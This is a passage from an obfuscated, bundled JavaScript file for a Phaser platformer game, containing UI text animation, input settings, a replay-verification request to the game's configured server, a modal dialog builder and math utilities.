this['clearText'](_0x2a277b), _0x1a0bc1['callback'] = void 0x0; }, _0x422334)); } ['clearText'](_0x2eac42) { const _0x21e911 = this['textAreas'][_0x2eac42]; if (!_0x21e911) throw new Error('Text\x20area\x20with\x20name\x20' + _0x2eac42 + '\x20not\x20found'); const _0x450680 = this['config']['textAreas']['find'](_0x405fc2 => _0x405fc2['textAreaName'] === _0x2eac42); if (_0x450680 && _0x450680['slide']) { const _0x30df35 = this['createSlideTween'](_0x21e911['text'], _0x450680, 'slideOut'); _0x30df35['once']('complete', () => { _0x21e911['text']['setText'](''), _0x21e911['text']['visible'] = !0x1, _0x30df35['remove'](); }), _0x30df35['play'](), _0x450680['slideOutSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x450680['slideOutSound'] } }); } else _0x21e911['text']['setText'](''), _0x21e911['text']['visible'] = !0x1; } ['createSlideTween'](_0x2cc5c1, _0x23a072, _0x10a4c4) { const _0x14ee8a = this['config']['textAreas']['find'](_0x25846e => _0x25846e['textAreaName'] === _0x23a072['textAreaName']); if (!_0x14ee8a) throw new Error('Text\x20area\x20with\x20name\x20' + _0x23a072['textAreaName'] + '\x20not\x20found'); const _0x43af1e = _0x23a072['slideDistance'] || 0x64, _0x16e8f1 = _0x23a072['slideDurationMS'] || 0xc8, _0x675a1 = _0x23a072['slideScaleMultiplier'] || 1.5, _0x174654 = _0x23a072['alpha'] ?? 0x1; let _0x47d3db = 0x0, _0x3f7b02 = 0x0; switch (_0x23a072['slide']) { case 'left': _0x47d3db = _0x43af1e; break; case 'right': _0x47d3db = -_0x43af1e; break; case 'up': _0x3f7b02 = _0x43af1e; break; case 'down': _0x3f7b02 = -_0x43af1e; }return 'slideIn' === _0x10a4c4 && (_0x2cc5c1['setPosition'](_0x14ee8a['position']['x'] - _0x47d3db, _0x14ee8a['position']['y'] - _0x3f7b02), _0x2cc5c1['setAlpha'](0x0), _0x2cc5c1['setScale'](_0x675a1)), this['scene']['tweens']['add']({ 'targets': _0x2cc5c1, 'alpha': 'slideIn' === _0x10a4c4 ? _0x174654 : 0x0, 'scale': 'slideIn' === _0x10a4c4 ? 0x1 : _0x675a1, 'x': _0x2cc5c1['x'] + _0x47d3db, 'y': _0x2cc5c1['y'] + _0x3f7b02, 'duration': _0x16e8f1, 'paused': !0x0, 'ease': 'slideIn' === _0x10a4c4 ? Phaser['Math']['Easing']['Back']['Out'] : Phaser['Math']['Easing']['Back']['In'] }); } ['getOrigin'](_0x5b8f3a) { let _0x37b70d = 0.5, _0x1c83bd = 0.5; const _0x199d35 = _0x5b8f3a['origin']['toLowerCase'](); return _0x199d35['includes']('left') ? _0x37b70d = 0x0 : _0x199d35['includes']('right') && (_0x37b70d = 0x1), _0x199d35['includes']('top') ? _0x1c83bd = 0x0 : _0x199d35['includes']('bottom') && (_0x1c83bd = 0x1), { 'originX': _0x37b70d, 'originY': _0x1c83bd }; } ['hideUi']() { Object['values'](this['textAreas'])['forEach'](({ text: _0x323946 }) => _0x323946['visible'] = !0x1); } } _0x7866e5['UiTextRenderComponent'] = _0x5d82dc; }, 0x138a: (_0x3405b2, _0x3750e6) => { 'use strict'; Object['defineProperty'](_0x3750e6, '__esModule', { 'value': !0x0 }), _0x3750e6['mixTint'] = _0x3750e6['figmaSize'] = _0x3750e6['getTexture'] = _0x3750e6['getFrame'] = _0x3750e6['UI_WHITE'] = _0x3750e6['UI_YELLOW'] = _0x3750e6['UI_GREEN'] = void 0x0, _0x3750e6['UI_GREEN'] = 0x44dd55, _0x3750e6['UI_YELLOW'] = 0xffb400, _0x3750e6['UI_WHITE'] = 0xffffff; const _0x4281b7 = { 'getFrame': (_0x4062ba, _0x10299b) => _0x4062ba['getAnimationConfig'](_0x10299b)['animationConfig']['staticFrame'], 'getTexture': (_0x3eac53, _0x56d3f8) => _0x3eac53['getAnimationConfig'](_0x56d3f8)['textureName'], 'figmaSize': _0x30aedf => 1.2 * _0x30aedf, 'mixTint'(_0x8d2661, _0x25c272, _0x2710b0) { const _0x27263d = (0xff0000 & _0x8d2661) >> 0x10, _0x48559d = (0xff00 & _0x8d2661) >> 0x8, _0x1746f9 = 0xff & _0x8d2661, _0x482dbd = (0xff0000 & _0x25c272) >> 0x10, _0x2ab00a = (0xff00 & _0x25c272) >> 0x8, _0x226f6 = 0xff & _0x25c272; return Math['floor'](_0x27263d * (0x1 - _0x2710b0) + _0x482dbd * _0x2710b0) << 0x10 | Math['floor'](_0x48559d * (0x1 - _0x2710b0) + _0x2ab00a * _0x2710b0) << 0x8 | Math['floor'](_0x1746f9 * (0x1 - _0x2710b0) + _0x226f6 * _0x2710b0); } }; _0x3750e6['getFrame'] = _0x4281b7['getFrame'], _0x3750e6['getTexture'] = _0x4281b7['getTexture'], _0x3750e6['figmaSize'] = _0x4281b7['figmaSize'], _0x3750e6['mixTint'] = _0x4281b7['mixTint']; }, 0x2039: (_0x31635f, _0x5cb981, _0x378254) => { 'use strict'; Object['defineProperty'](_0x5cb981, '__esModule', { 'value': !0x0 }), _0x5cb981['VerificationComponent'] = void 0x0; const _0x157e1c = _0x378254(0x1709), _0x5b99af = _0x378254(0x2ec); class _0x3665dd extends _0x157e1c['SceneComponent']{ ['gameConfig']; async['init']() { this['gameConfig'] = await (0x0, _0x5b99af['loadConnectionConfig'])(), this['gameMessageBus']['subscribeGroup'](this, ['initiateVerification', 'replayDataStored'], () => { const _0x4f0454 = this['gameContext']['getFromGameStore']('replayData'); if (!_0x4f0454) throw new Error('Replay\x20data\x20missing\x20from\x20store'); this['startVerification'](this['gameConfig'], _0x4f0454); }); } async['startVerification'](_0x38ac9f, _0x4d9539) { this['gameMessageBus']['publish']('debugMessage', { 'message': 'VERIFICATION\x20IN\x20PROGRESS...' }); try { const _0x41dcc9 = _0x38ac9f['verificationServerDefaultUrl'], _0xc37075 = _0x38ac9f['verificationServerProtocol'], _0x22e19b = _0x38ac9f['verificationServerPort'], _0x42498a = _0xc37075 + '://' + _0x41dcc9 + ':' + _0x22e19b + '/' + _0x38ac9f['verificationServerRoute'], _0x20c69a = await fetch(_0x42498a, { 'method': 'POST', 'headers': { 'Content-Type': 'application/json' }, 'body': JSON['stringify'](_0x4d9539) }); if (_0x20c69a['ok']) { const _0x27f207 = await _0x20c69a['json'](); this['gameMessageBus']['publish']('verificationResult', _0x27f207); const _0x2699a5 = 'VERIFICATION\x20COMPLETE\x20(elapsed\x20time:\x20' + _0x27f207['elapsedTime'] + ',\x20frames:\x20' + _0x27f207['frameCount'] + '),\x20STATUS:\x20' + _0x27f207['status']; this['gameMessageBus']['publish']('debugMessage', { 'message': _0x2699a5, 'replayData': JSON['stringify'](_0x27f207) }); } else this['gameMessageBus']['publish']('debugMessage', { 'message': 'VERIFICATION\x20SERVER\x20FAILURE', 'replayData': _0x20c69a['statusText'] }); } catch (_0x2f4789) { this['gameMessageBus']['publish']('debugMessage', { 'message': 'VERIFICATION\x20SERVER\x20FAILURE', 'replayData': _0x2f4789['toString']() }); } } } _0x5cb981['VerificationComponent'] = _0x3665dd; }, 0x21d4: (_0x1d4655, _0x40884d) => { 'use strict'; var _0x24ed54; Object['defineProperty'](_0x40884d, '__esModule', { 'value': !0x0 }), _0x40884d['settingsModel'] = _0x40884d['DEFAULT_INPUT_TYPE'] = _0x40884d['DEFAULT_LANGUAGE'] = _0x40884d['DEFAULT_AUDIO_CONFIG'] = _0x40884d['DEFAULT_GAMEPAD_MAPPING'] = _0x40884d['DEFAULT_KEY_MAPPING'] = _0x40884d['EInputType'] = void 0x0, function (_0xe82815) { _0xe82815['KEYBOARD'] = 'KEYBOARD', _0xe82815['GAMEPAD'] = 'GAMEPAD', _0xe82815['TOUCH'] = 'TOUCH'; }(_0x24ed54 = _0x40884d['EInputType'] || (_0x40884d['EInputType'] = {})), _0x40884d['DEFAULT_KEY_MAPPING'] = { 'left': 'a', 'right': 'd', 'down': 's', 'up': 'w', 'jump': '\x20', 'dash': 'k', 'attack': 'j', 'secondaryAttack1': 'u', 'secondaryAttack2': 'i', 'secondaryAttack3': 'o', 'interaction': 'f', 'exit': 'escape', 'choice': null }, _0x40884d['DEFAULT_GAMEPAD_MAPPING'] = { 'jump': 0x0, 'attack': 0x2, 'dash': 0x7, 'interaction': 0xc, 'secondaryAttack1': 0x1, 'secondaryAttack2': 0x3, 'secondaryAttack3': 0x5, 'exit': 0x8, 'left': 0x2af9, 'right': 0x2afa, 'down': 0x2afb, 'up': 0x2afc, 'choice': null }, _0x40884d['DEFAULT_AUDIO_CONFIG'] = [{ 'name': 'music', 'value': 0x1 }, { 'name': 'sfx', 'value': 0x1 }], _0x40884d['DEFAULT_LANGUAGE'] = 'en', _0x40884d['DEFAULT_INPUT_TYPE'] = _0x24ed54['KEYBOARD'], _0x40884d['settingsModel'] = { 'keyboardMapping': { ..._0x40884d['DEFAULT_KEY_MAPPING'] }, 'gamepadMapping': { ..._0x40884d['DEFAULT_GAMEPAD_MAPPING'] }, 'audio': [..._0x40884d['DEFAULT_AUDIO_CONFIG']], 'language': _0x40884d['DEFAULT_LANGUAGE'], 'inputType': _0x40884d['DEFAULT_INPUT_TYPE'] }; }, 0x18db: function (_0x485003, _0x533593, _0x5a768d) { 'use strict'; var _0x55f02d = this && this['__importDefault'] || function (_0x4ab1b9) { return _0x4ab1b9 && _0x4ab1b9['__esModule'] ? _0x4ab1b9 : { 'default': _0x4ab1b9 }; }; Object['defineProperty'](_0x533593, '__esModule', { 'value': !0x0 }), _0x533593['Store'] = void 0x0; const _0x2f104e = _0x5a768d(0xf0e), _0x2214d5 = _0x55f02d(_0x5a768d(0x18a9)); _0x533593['Store'] = class { ['data'];['messageBus']; constructor(_0x320e54) { this['data'] = (0x0, _0x2214d5['default'])(_0x320e54, !0x1), this['messageBus'] = new _0x2f104e['MessageBus'](); } ['subscriptionHandlers'] = new Map();['subscribe'](_0x2fb8d9, _0x3eeb4a) { const _0x380734 = _0x29e11f => { _0x3eeb4a({ 'oldValue': _0x29e11f['oldValue'], 'newValue': _0x29e11f['newValue'] }); }; this['subscriptionHandlers']['set'](_0x3eeb4a, _0x380734), this['messageBus']['subscribe'](this, _0x2fb8d9, _0x380734); } ['unsubscribe'](_0x13df38, _0x3a09ef) { const _0x4122e1 = this['subscriptionHandlers']['get'](_0x3a09ef); _0x4122e1 && (this['messageBus']['unsubscribe'](_0x13df38, _0x4122e1), this['subscriptionHandlers']['delete'](_0x3a09ef)); } ['update'](_0x18f3d1, _0x4390c7, _0x40066c) { const _0x1b9634 = this['data'][_0x18f3d1]; this['data'][_0x18f3d1] = _0x4390c7, (_0x40066c?.['forceUpdate'] || _0x1b9634 !== _0x4390c7) && this['messageBus']['publish'](_0x18f3d1, { 'oldValue': _0x1b9634, 'newValue': _0x4390c7 }); } ['get'](_0x5a0c6f) { return this['data'][_0x5a0c6f]; } ['destroy']() { this['data'] = {}, this['subscriptionHandlers']['clear'](), this['messageBus']['destroy'](); } }; }, 0x1762: (_0x3f8da6, _0x343d9e, _0x1db7d5) => { 'use strict'; Object['defineProperty'](_0x343d9e, '__esModule', { 'value': !0x0 }), _0x343d9e['createModal'] = _0x343d9e['resizeCanvas'] = void 0x0, _0x1db7d5(0xd55); const _0x1bc688 = _0x1db7d5(0xf18); _0x343d9e['resizeCanvas'] = function () { const _0x356646 = document['querySelector']('#game_rendering_element\x20>\x20canvas'), _0x464233 = document['documentElement']['clientWidth'] / _0x356646['offsetWidth'], _0xa563dc = document['documentElement']['clientHeight'] / _0x356646['offsetHeight']; (0x0, _0x1bc688['isMobile'])() ? (_0x356646['style']['width'] = document['documentElement']['clientWidth'] + 'px', _0x356646['style']['height'] = document['documentElement']['clientHeight'] + 'px') : _0x464233 < _0xa563dc ? (_0x356646['style']['width'] = document['documentElement']['clientWidth'] + 'px', _0x356646['style']['height'] = 'auto') : (_0x356646['style']['width'] = 'auto', _0x356646['style']['height'] = document['documentElement']['clientHeight'] + 'px'); }, _0x343d9e['createModal'] = function (_0x410701) { const _0x21f7f7 = document['createElement']('div'), _0x260938 = []; _0x21f7f7['classList']['add']('fixed', 'z-10', 'inset-0', 'overflow-y-auto'); let _0x3c1029 = ''; _0x410701['inputs'] && _0x410701['inputs']['forEach']((_0x5a5977, _0x35f53c) => { const _0x1567ea = _0x5a5977['required'] ? '\x20*' : ''; _0x3c1029 += '<div\x20class=\x22mt-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<label\x20for=\x22input-' + _0x35f53c + '\x22\x20class=\x22text-gray-400\x22>' + (_0x5a5977['label'] || '') + _0x1567ea + '</label>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20type=\x22' + _0x5a5977['type'] + '\x22\x20id=\x22input-' + _0x35f53c + '\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + (_0x5a5977['accept'] ? 'accept=\x22' + _0x5a5977['accept'] + '\x22' : '') + '\x20' + (_0x5a5977['required'] ? 'required' : '') + '\x20' + (_0x5a5977['multiple'] ? 'multiple' : '') + '\x20class=\x22mt-2\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>'; }); let _0x250aad = ''; _0x410701['customButtons']?.['forEach']((_0x133a4f, _0x17d195) => { _0x250aad += '<button\x20type=\x22button\x22\x20id=\x22customButton-' + _0x17d195 + '\x22\x20class=\x22' + _0x133a4f['class'] + '\x22>' + _0x133a4f['label'] + '</button>'; }); const _0x2441fb = '\x0a\x20\x20\x20\x20<div\x20class=\x22flex\x20items-center\x20justify-center\x20min-h-screen\x20pt-4\x20px-4\x20pb-20\x20text-center\x20sm:block\x20sm:p-0\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22fixed\x20inset-0\x20transition-opacity\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22absolute\x20inset-0\x20bg-gray-500\x20opacity-75\x22></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22inline-block\x20align-bottom\x20bg-black\x20rounded-lg\x20text-left\x20overflow-hidden\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20shadow-xl\x20transform\x20transition-all\x20sm:my-8\x20sm:align-middle\x20max-w-screen-md\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-white\x20px-4\x20pt-5\x20pb-4\x20sm:p-6\x20sm:pb-4\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\x22text-lg\x20font-bold\x20mb-4\x22>' + _0x410701['title'] + '</h1>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>' + (_0x410701['bodyText'] || '') + '</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + _0x3c1029 + '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22bg-gray-700\x20px-4\x20py-3\x20sm:px-6\x20sm:flex\x20sm:flex-row-reverse\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + (!0x1 !== _0x410701['showConfirmButton'] ? '<button\x20type=\x22button\x22\x20id=\x22okButton\x22\x20class=\x22bg-green-500\x20text-white\x20mt-3\x20text-sm\x20leading-5\x20px-4\x20py-2\x20rounded-lg\x20font-medium\x22>OK</button>' : '') + '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + (!0x1 !== _0x410701['showCancelButton'] ? '<button\x20type=\x22button\x22\x20id=\x22cancelButton\x22\x20class=\x22bg-red-500\x20text-white\x20mt-3\x20text-sm\x20leading-5\x20px-4\x20py-2\x20rounded-lg\x20font-medium\x22>Cancel</button>' : '') + '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + _0x250aad + '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20</div>'; if (_0x21f7f7['innerHTML'] = _0x2441fb, document['body']['appendChild'](_0x21f7f7), _0x410701['inputs']?.['forEach']((_0x5c1194, _0xe8d125) => { const _0x248313 = _0x21f7f7['querySelector']('#input-' + _0xe8d125); _0x248313 && _0x260938['push'](_0x248313); }), _0x410701['onConfirm']) { const _0x52feda = _0x21f7f7['querySelector']('#okButton'); _0x52feda?.['addEventListener']('click', () => { const _0x13e1ac = {}; let _0x246c25 = !0x0; _0x260938['forEach']((_0x48fc01, _0x2e6845) => { if ('file' === _0x48fc01['type']) { const _0x4d0c62 = _0x48fc01['files']; _0x4d0c62 && _0x4d0c62['length'] > 0x0 ? _0x48fc01['multiple'] ? _0x13e1ac['input-' + _0x2e6845] = _0x4d0c62 : _0x13e1ac['input-' + _0x2e6845] = _0x4d0c62[0x0] : _0x13e1ac['input-' + _0x2e6845] = null; } else _0x13e1ac['input-' + _0x2e6845] = _0x48fc01['value']; _0x48fc01['required'] && !_0x48fc01['value'] && (_0x246c25 = !0x1); }), _0x246c25 ? (_0x410701['onConfirm'](_0x13e1ac), document['body']['removeChild'](_0x21f7f7)) : alert('Please\x20fill\x20in\x20all\x20required\x20fields\x20(marked\x20with\x20*)'); }); } const _0x23bbac = document['getElementById']('cancelButton'); return _0x23bbac?.['addEventListener']('click', () => { _0x410701['onCancel'] && _0x410701['onCancel'](), document['body']['removeChild'](_0x21f7f7); }), _0x410701['customButtons']?.['forEach']((_0x3d508b, _0x191cfa) => { const _0x444c4e = _0x21f7f7['querySelector']('#customButton-' + _0x191cfa); _0x444c4e?.['addEventListener']('click', () => { _0x3d508b['handler'](_0x21f7f7); }); }), _0x21f7f7; }; }, 0x512: (_0x2442f6, _0x28ddb4) => { 'use strict'; function _0x55a68f(_0x295ecf = '') { return class extends Error { constructor(_0x575c88 = '') { super(_0x575c88), this['name'] = _0x295ecf; } }; } Object['defineProperty'](_0x28ddb4, '__esModule', { 'value': !0x0 }), _0x28ddb4['InvalidConstructorArgumentError'] = _0x28ddb4['InvalidScenarioError'] = _0x28ddb4['InvalidArgumentError'] = _0x28ddb4['UninitializedStateMachineError'] = _0x28ddb4['InvalidStateError'] = _0x28ddb4['UnknownStateError'] = _0x28ddb4['errorClassFactory'] = void 0x0, _0x28ddb4['errorClassFactory'] = _0x55a68f, _0x28ddb4['UnknownStateError'] = _0x55a68f('UnknownStateError'), _0x28ddb4['InvalidStateError'] = _0x55a68f('InvalidStateError'), _0x28ddb4['UninitializedStateMachineError'] = _0x55a68f('UninitializedStateMachineError'), _0x28ddb4['InvalidArgumentError'] = _0x55a68f('InvalidArgumentError'), _0x28ddb4['InvalidScenarioError'] = _0x55a68f('InvalidScenarioError'), _0x28ddb4['InvalidConstructorArgumentError'] = _0x55a68f('InvalidConstructorArgumentError'); }, 0x5b0: (_0x2fdfe8, _0x5c6838) => { 'use strict'; Object['defineProperty'](_0x5c6838, '__esModule', { 'value': !0x0 }), _0x5c6838['ActionQueue'] = void 0x0, _0x5c6838['ActionQueue'] = class { ['actionQueue'] = []; async['queueAction'](_0x59e344) { return new Promise((_0x37a1b4, _0x4750b1) => { this['actionQueue']['push'](_0x59e344), 0x1 === this['actionQueue']['length'] && this['processQueue'](); }); } async['processQueue']() { for (; this['actionQueue']['length'] > 0x0;) { const _0x1c56f8 = this['actionQueue'][0x0]; try { await _0x1c56f8['action'](); } catch (_0x1fd482) { } this['actionQueue']['shift'](); } } ['cancelAll']() { const _0x16230e = this['actionQueue']; this['actionQueue'] = [], _0x16230e['forEach'](({ cancel: _0x579cb6 }) => _0x579cb6 && _0x579cb6()); } }; }, 0x5d3: (_0x3ccb7d, _0x4dfe25, _0x3aaed3) => { 'use strict'; Object['defineProperty'](_0x4dfe25, '__esModule', { 'value': !0x0 }), _0x4dfe25['formatBytes'] = _0x4dfe25['runningAsBackend'] = void 0x0, _0x4dfe25['runningAsBackend'] = function () { return 'object' == typeof _0x3aaed3['g'] && 'process' in _0x3aaed3['g']; }, _0x4dfe25['formatBytes'] = function (_0x41dd97, _0x514638 = 0x2) { if (0x0 === _0x41dd97) return '0\x20Bytes'; const _0x41c71c = _0x514638 < 0x0 ? 0x0 : _0x514638, _0xdbde99 = Math['floor'](Math['log'](_0x41dd97) / Math['log'](0x400)); return parseFloat((_0x41dd97 / Math['pow'](0x400, _0xdbde99))['toFixed'](_0x41c71c)) + '\x20' + ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'][_0xdbde99]; }; }, 0x160c: (_0x415e72, _0x53c90f) => { 'use strict'; Object['defineProperty'](_0x53c90f, '__esModule', { 'value': !0x0 }), _0x53c90f['deepCloneObject'] = _0x53c90f['deepClone'] = _0x53c90f['shuffle'] = void 0x0, _0x53c90f['shuffle'] = function (_0x187c8e) { const _0x554862 = _0x187c8e['slice'](); for (let _0x4ba18d = _0x554862['length']; _0x4ba18d; _0x4ba18d--) { const _0x4665ec = Math['floor'](Math['random']() * _0x4ba18d);[_0x554862[_0x4ba18d - 0x1], _0x554862[_0x4665ec]] = [_0x554862[_0x4665ec], _0x554862[_0x4ba18d - 0x1]]; } return _0x554862; }, _0x53c90f['deepClone'] = function (_0x31e897) { return _0x31e897['map'](_0x179715 => Array['isArray'](_0x179715) ? this['deepClone'](_0x179715) : _0x179715); }, _0x53c90f['deepCloneObject'] = function _0x44485e(_0x27824c) { if (Array['isArray'](_0x27824c)) return _0x27824c['map'](_0x1ec0a9 => _0x44485e(_0x1ec0a9)); if (null !== _0x27824c && 'object' == typeof _0x27824c) { const _0x803589 = {}; for (const _0x1def46 in _0x27824c) _0x27824c['hasOwnProperty'](_0x1def46) && (_0x803589[_0x1def46] = _0x44485e(_0x27824c[_0x1def46])); return _0x803589; } return _0x27824c; }; }, 0xbf0: (_0x334165, _0x2c2b89) => { 'use strict'; Object['defineProperty'](_0x2c2b89, '__esModule', { 'value': !0x0 }), _0x2c2b89['deepFreeze'] = void 0x0, _0x2c2b89['deepFreeze'] = function _0x23fcc8(_0x5b9ecd) { var _0x522f8f; return 'object' == typeof (_0x522f8f = _0x5b9ecd) && null !== _0x522f8f && (Object['freeze'](_0x5b9ecd), Object['getOwnPropertyNames'](_0x5b9ecd)['forEach'](_0x2d6201 => { const _0x34a1c6 = _0x5b9ecd[_0x2d6201]; null === _0x34a1c6 || 'object' != typeof _0x34a1c6 && 'function' != typeof _0x34a1c6 || Object['isFrozen'](_0x34a1c6) || _0x23fcc8(_0x34a1c6); })), _0x5b9ecd; }; }, 0x39f: (_0x1ffe3f, _0x36a31e) => { 'use strict'; Object['defineProperty'](_0x36a31e, '__esModule', { 'value': !0x0 }), _0x36a31e['log'] = void 0x0; const _0x37c352 = {}; let _0x185026 = !0x1; _0x36a31e['log'] = { 'debug': (..._0x3c7af9) => { const _0x486655 = _0x3c7af9[_0x3c7af9['length'] - 0x1]; let _0x2fb25c = null, _0x2c3886 = _0x3c7af9; 'string' == typeof _0x486655 && Object['prototype']['hasOwnProperty']['call'](_0x37c352, _0x486655) && (_0x2fb25c = _0x486655, _0x2c3886 = _0x3c7af9['slice'](0x0, -0x1)), !_0x185026 && (null === _0x2fb25c || _0x37c352[_0x2fb25c]); }, 'disableContext': _0x22487e => { _0x37c352[_0x22487e] = !0x1; }, 'muteAll': () => { _0x185026 = !0x0; }, 'unmuteAll': () => { _0x185026 = !0x1; }, 'disableAll': () => { for (const _0x1ba052 in _0x37c352) _0x37c352[_0x1ba052] = !0x1; }, 'enableAll': () => { for (const _0x16fd44 in _0x37c352) _0x37c352[_0x16fd44] = !0x0; } }; }, 0x1b39: (_0x2d7e33, _0x3fb299) => { 'use strict'; Object['defineProperty'](_0x3fb299, '__esModule', { 'value': !0x0 }), _0x3fb299['mixHexColors'] = _0x3fb299['isAngleBetween'] = _0x3fb299['normalizeAngle'] = _0x3fb299['minimalAngleDifference'] = _0x3fb299['normalizeAngleForPlatformerRanges'] = _0x3fb299['getBestAngleToTarget'] = _0x3fb299['isPointInCone'] = _0x3fb299['angleToTarget'] = _0x3fb299['degToRad'] = _0x3fb299['radToDeg'] = _0x3fb299['middlePointBetweenVectors'] = _0x3fb299['distanceBetweenVectors'] = _0x3fb299['vectorLength'] = _0x3fb299['areVectorArraysIdentical'] = _0x3fb299['getRandomDeviation'] = _0x3fb299['getRandomElement'] = _0x3fb299['getRandomInteger'] = _0x3fb299['getRandomFloat'] = void 0x0; const _0x22f33b = { 'getRandomFloat'(_0x5419f0, _0x5e40ea) { if (_0x5419f0 > _0x5e40ea) throw new Error('ERROR:\x20getRandomFloat\x20min\x20>\x20max'); return Math['random']() * (_0x5e40ea - _0x5419f0) + _0x5419f0; }, 'getRandomInteger'(_0x3f0e89, _0x559578) { if (_0x3f0e89 > _0x559578) throw new Error('ERROR:\x20getRandomInteger\x20min\x20>\x20max'); return Math['floor'](Math['random']() * (_0x559578 - _0x3f0e89 + 0x1) + _0x3f0e89); }, 'getRandomElement': _0x2a4cdf => _0x2a4cdf[Math['floor'](Math['random']() * _0x2a4cdf['length'])], 'getRandomDeviation'(_0x5a372e, _0x3eefb1) { if (_0x5a372e > _0x3eefb1) throw new Error('ERROR:\x20getRandomDeviation\x20min\x20>\x20max'); return Math['sign'](Math['random']() - 0.5) * (0x0, _0x3fb299['getRandomFloat'])(Math['abs'](_0x5a372e), Math['abs'](_0x3eefb1)); }, 'areVectorArraysIdentical'(_0x1f5768, _0x213163) { if (_0x1f5768['length'] !== _0x213163['length']) return !0x1; for (let _0x1ec2ee = 0x0; _0x1ec2ee < _0x1f5768['length']; _0x1ec2ee++)if (_0x1f5768[_0x1ec2ee]['x'] !== _0x213163[_0x1ec2ee]['x'] || _0x1f5768[_0x1ec2ee]['y'] !== _0x213163[_0x1ec2ee]['y']) return !0x1; return !0x0; }, 'vectorLength': _0xda4345 => Math['sqrt'](_0xda4345['x'] * _0xda4345['x'] + _0xda4345['y'] * _0xda4345['y']), 'distanceBetweenVectors': (_0x477a77, _0x15227a) => (0x0, _0x3fb299['vectorLength'])({ 'x': _0x15227a['x'] - _0x477a77['x'], 'y': _0x15227a['y'] - _0x477a77['y'] }), 'middlePointBetweenVectors': (_0x3b9de3, _0x203a50) => ({ 'x': (_0x3b9de3['x'] + _0x203a50['x']) / 0x2, 'y': (_0x3b9de3['y'] + _0x203a50['y']) / 0x2 }), 'radToDeg': _0x515a4f => _0x515a4f * (0xb4 / Math['PI']), 'degToRad': _0x3e7c30 => _0x3e7c30 * (Math['PI'] / 0xb4), 'angleToTarget'(_0x2e6758, _0x2e6c75) { const _0x24d916 = _0x2e6c75['x'] - _0x2e6758['x'], _0x507979 = _0x2e6758['y'] - _0x2e6c75['y']; if (0x0 === _0x24d916 && 0x0 === _0x507979) return 0x0; let _0x1ccdd3; return _0x24d916 > 0x0 ? (_0x1ccdd3 = -Math['atan2'](_0x507979, _0x24d916), _0x1ccdd3 += Math['PI'] / 0x2) : (_0x1ccdd3 = -Math['atan2'](_0x507979, _0x24d916), _0x1ccdd3 >= 0x0 ? _0x1ccdd3 -= 1.5 * Math['PI'] : _0x1ccdd3 += Math['PI'] / 0x2), -0x0 === _0x1ccdd3 ? 0x0 : _0x1ccdd3 === -Math['PI'] ? Math['PI'] : _0x22f33b['normalizeAngleForPlatformerRanges'](_0x1ccdd3); }, 'isPointInCone'(_0x2a2c63, _0x392d1f) { const _0x27dfcd = _0x22f33b['angleToTarget'](_0x2a2c63['originPoint'], _0x392d1f), _0x4df165 = _0x2a2c63['angle'], _0x3e36d9 = _0x22f33b['degToRad'](_0x2a2c63['range']) / 0x2; return _0x27dfcd >= _0x4df165 - _0x3e36d9 && _0x27dfcd <= _0x4df165 + _0x3e36d9; }, 'getBestAngleToTarget'(_0x44a4b9, _0x1be8aa, _0x19d913) { const _0x59bf20 = _0x1be8aa < 0x0, _0x24db7d = _0x22f33b['degToRad'](_0x44a4b9['angle']) * (_0x59bf20 ? -0x1 : 0x1), _0x1d3884 = _0x22f33b['degToRad'](_0x44a4b9['range']) / 0x2, _0x429c93 = _0x24db7d - _0x1d3884, _0xa85eba = _0x24db7d + _0x1d3884, _0x369947 = _0x22f33b['normalizeAngle'](_0x429c93), _0xd460f = _0x22f33b['normalizeAngle'](_0xa85eba), _0x5b8928 = _0x22f33b['angleToTarget'](_0x44a4b9['originPoint'], _0x19d913), _0x2bde41 = _0x22f33b['normalizeAngle'](_0x5b8928), _0x1662f5 = _0x22f33b['isAngleBetween'](_0x2bde41, _0x369947, _0xd460f); let _0x43f6eb; if (_0x1662f5) _0x43f6eb = _0x2bde41; else { const _0x3e8266 = _0x22f33b['minimalAngleDifference'](_0x2bde41, _0x369947), _0xc6840a = _0x22f33b['minimalAngleDifference'](_0x2bde41, _0xd460f); _0x43f6eb = Math['abs'](_0x3e8266) < Math['abs'](_0xc6840a) ? _0x369947 : _0xd460f; } return { 'angleToTarget': _0x22f33b['normalizeAngleForPlatformerRanges'](_0x43f6eb), 'targetInFiringCone': _0x1662f5 }; }, 'normalizeAngleForPlatformerRanges'(_0x38f43c) { const _0x2c0552 = _0x38f43c % (0x2 * Math['PI']); return _0x2c0552 